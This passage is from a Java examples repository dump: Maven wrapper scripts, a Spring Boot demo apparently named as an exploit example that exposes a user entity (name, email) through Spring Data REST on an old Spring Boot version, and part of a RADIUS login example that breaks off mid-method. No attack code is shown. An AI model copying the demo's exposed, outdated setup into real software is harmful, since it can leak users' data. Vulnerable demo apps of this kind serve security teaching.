@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a user defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar" 124 | FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO ( 125 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 126 | ) 127 | 128 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 129 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 130 | if exist %WRAPPER_JAR% ( 131 | echo Found %WRAPPER_JAR% 132 | ) else ( 133 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 134 | echo Downloading from: %DOWNLOAD_URL% 135 | powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')" 136 | echo Finished downloading %WRAPPER_JAR% 137 | ) 138 | @REM End of extension 139 | 140 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 141 | if ERRORLEVEL 1 goto error 142 | goto end 143 | 144 | :error 145 | set ERROR_CODE=1 146 | 147 | :end 148 | @endlocal & set ERROR_CODE=%ERROR_CODE% 149 | 150 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 151 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 152 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 153 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 154 | :skipRcPost 155 | 156 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 157 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 158 | 159 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 160 | 161 | exit /B %ERROR_CODE% 162 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | spring-rest-data-exploit-example 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | spring-rest-data-exploit-example 12 | Demo project for Spring Boot 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 1.4.0.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-data-rest 31 | 32 | 33 | org.springframework.boot 34 | spring-boot-starter-data-jpa 35 | 36 | 37 | com.h2database 38 | h2 39 | 40 | 41 | 42 | org.springframework.boot 43 | spring-boot-starter-test 44 | test 45 | 46 | 47 | org.apache.httpcomponents 48 | httpcore 49 | 50 | 51 | org.apache.httpcomponents 52 | httpclient 53 | 54 | 55 | 56 | 57 | javax.xml.bind 58 | jaxb-api 59 | 2.2.11 60 | 61 | 62 | com.sun.xml.bind 63 | jaxb-core 64 | 2.2.11 65 | 66 | 67 | com.sun.xml.bind 68 | jaxb-impl 69 | 2.2.11 70 | 71 | 72 | javax.activation 73 | activation 74 | 1.1.1 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | org.springframework.boot 83 | spring-boot-maven-plugin 84 | 85 | 86 | 87 | repackage 88 | 89 | 90 | com.pavelsklenar.spring.exploit.example.SpringRestDataExploitExampleApplication 91 | 92 | 93 | 94 | 95 | 96 | org.apache.maven.plugins 97 | maven-surefire-plugin 98 | 2.22.2 99 | 100 | false 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.spring.exploit.example; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class SpringRestDataExploitExampleApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(SpringRestDataExploitExampleApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/UserRepository.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.spring.exploit.example; 2 | 3 | import java.util.List; 4 | 5 | import org.springframework.data.repository.PagingAndSortingRepository; 6 | import org.springframework.data.repository.query.Param; 7 | import org.springframework.data.rest.core.annotation.RepositoryRestResource; 8 | 9 | @RepositoryRestResource(collectionResourceRel = "users", path = "users") 10 | public interface UserRepository extends PagingAndSortingRepository { 11 | List findByName(@Param("name") String name); 12 | } 13 | -------------------------------------------------------------------------------- /spring-rest-data-exploit/src/main/java/com/pavelsklenar/spring/exploit/example/WebsiteUser.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.spring.exploit.example; 2 | 3 | import javax.persistence.Entity; 4 | import javax.persistence.GeneratedValue; 5 | import javax.persistence.GenerationType; 6 | import javax.persistence.Id; 7 | 8 | @Entity 9 | public class WebsiteUser { 10 | 11 | @Id 12 | @GeneratedValue(strategy = GenerationType.AUTO) 13 | private long id; 14 | 15 | private String name; 16 | private String email; 17 | 18 | // standard getters and setters 19 | } -------------------------------------------------------------------------------- /spring-rest-data-exploit/src/main/resources/application.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-data-exploit/src/main/resources/application.properties -------------------------------------------------------------------------------- /spring-rest-data-exploit/src/test/java/com/pavelsklenar/spring/exploit/example/SpringRestDataExploitExampleApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.spring.exploit.example; 2 | 3 | import org.junit.Test; 4 | import org.junit.runner.RunWith; 5 | import org.springframework.boot.test.context.SpringBootTest; 6 | import org.springframework.test.context.junit4.SpringRunner; 7 | 8 | @RunWith(SpringRunner.class) 9 | @SpringBootTest 10 | public class SpringRestDataExploitExampleApplicationTests { 11 | 12 | @Test 13 | public void contextLoads() { 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /spring-security-radius-login/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | 12 | ### IntelliJ IDEA ### 13 | .idea 14 | *.iws 15 | *.iml 16 | *.ipr 17 | 18 | ### NetBeans ### 19 | nbproject/private/ 20 | build/ 21 | nbbuild/ 22 | dist/ 23 | nbdist/ 24 | .nb-gradle/ -------------------------------------------------------------------------------- /spring-security-radius-login/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-security-radius-login/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-security-radius-login/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.2/apache-maven-3.5.2-bin.zip 2 | -------------------------------------------------------------------------------- /spring-security-radius-login/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-security-radius-login/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-security-radius-login/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | radius-login 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | radius-login 12 | Spring Security using Radius Login Example 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.4.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-security 31 | 32 | 33 | org.springframework.boot 34 | spring-boot-starter-web 35 | 36 | 37 | javax.servlet 38 | jstl 39 | 40 | 41 | org.apache.tomcat.embed 42 | tomcat-embed-jasper 43 | provided 44 | 45 | 46 | com.hynnet 47 | tinyradius 48 | 1.0.1 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | org.springframework.boot 57 | spring-boot-maven-plugin 58 | 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.pavelsklenar.radiuslogin.RadiusLoginApplication 3 | 4 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/RadiusLoginApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class RadiusLoginApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(RadiusLoginApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/authentication/NetworkAccessServer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.authentication; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.SocketException; 6 | 7 | import org.tinyradius.packet.AccessRequest; 8 | import org.tinyradius.packet.RadiusPacket; 9 | import org.tinyradius.util.RadiusClient; 10 | import org.tinyradius.util.RadiusException; 11 | 12 | /** 13 | * NetworkAccessServer (NAS) class is responsible for communication with a remote radius server 14 | * 15 | * @author pavel.sklenar 16 | * 17 | */ 18 | public class NetworkAccessServer { 19 | 20 | private static final String NAS_IP_ADDRESS = "NAS-IP-Address"; 21 | private static final String NAS_PORT_ID = "NAS-Port-Id"; 22 | private RadiusClient radiusClient; 23 | 24 | public NetworkAccessServer(RadiusServer radiusServer) { 25 | this.radiusClient = initRadiusClient(radiusServer); 26 | } 27 | 28 | private RadiusClient initRadiusClient(RadiusServer radiusServer) { 29 | try { 30 | RadiusClient radiusClient = new RadiusClient(radiusServer.getIp(), radiusServer.getSecret()); 31 | // Set SO Timeout in milliseconds 32 | radiusClient.setSocketTimeout(radiusServer.getTimeout()); 33 | return radiusClient; 34 | } catch (SocketException e) { 35 | throw new IllegalStateException(e); 36 | } 37 | } 38 | 39 | public RadiusPacket authenticate(String login, String password) throws IOException, RadiusException { 40 | AccessRequest ar = new AccessRequest(login, password); 41 | 42 | ar.setAuthProtocol(AccessRequest.AUTH_PAP); 43 | 44 | ar.addAttribute(NAS_PORT_ID, InetAddress.getLocalHost().getHostAddress()); 45 | 46 | ar.addAttribute(NAS_IP_ADDRESS, "172.25.0.101"); 47 | 48 | RadiusPacket response = radiusClient.authenticate(ar); 49 | return response; 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/authentication/RadiusAuthenticationProvider.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.authentication; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | 6 | import javax.annotation.PostConstruct; 7 | 8 | import org.slf4j.Logger; 9 | import org.slf4j.LoggerFactory; 10 | import org.springframework.beans.factory.annotation.Value; 11 | import org.springframework.security.authentication.AuthenticationProvider; 12 | import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; 13 | import org.springframework.security.core.Authentication; 14 | import org.springframework.security.core.AuthenticationException; 15 | import org.tinyradius.packet.RadiusPacket; 16 | 17 | /** 18 | * Component responsible for authentication against radius server 19 | * 20 | * @author pavel.sklenar 21 | * 22 | */ 23 | public class RadiusAuthenticationProvider implements AuthenticationProvider { 24 | 25 | private static final Logger logger = LoggerFactory.getLogger(RadiusAuthenticationProvider.class); 26 | 27 | @Value("${com.pavelsklenar.radius.server}") 28 | private String serverConfigurationToken; 29 | 30 | private List clients = new ArrayList<>(); 31 | 32 | @PostConstruct 33 | public void initServers() { 34 | List servers = RadiusUtil.parseServerConfigurationToken(serverConfigurationToken); 35 | servers.forEach(it -> { 36 | clients.add(new NetworkAccessServer(it)); 37 | }); 38 | } 39 | 40 | @Override 41 | public Authentication authenticate(Authentication authentication) 